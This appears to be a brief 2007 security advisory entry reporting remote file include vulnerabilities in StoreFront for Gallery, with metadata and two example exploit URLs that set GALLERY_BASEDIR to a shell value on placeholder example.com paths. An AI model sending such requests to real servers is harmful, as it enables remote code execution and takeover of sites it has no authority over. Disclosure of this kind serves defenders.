StoreFront for Gallery Gallery_BaseDir Multiple Remote File Include Vulnerabilities

[baits]

Remote: Yes
Local: No
Published: Apr 16 2007 12:00AM
Updated: Apr 17 2007 03:11AM
Credit: Alkomandoz Hacker is credited with the discovery of these vulnerabilities.
Vulnerable: StoreFront for Gallery StoreFront for Gallery 0

exploit: http://www.example.com/mods/business_functions.php?GALLERY_BASEDIR=Shell
http://www.example.com/mods/ui_functions.php?GALLERY_BASEDIR=Shell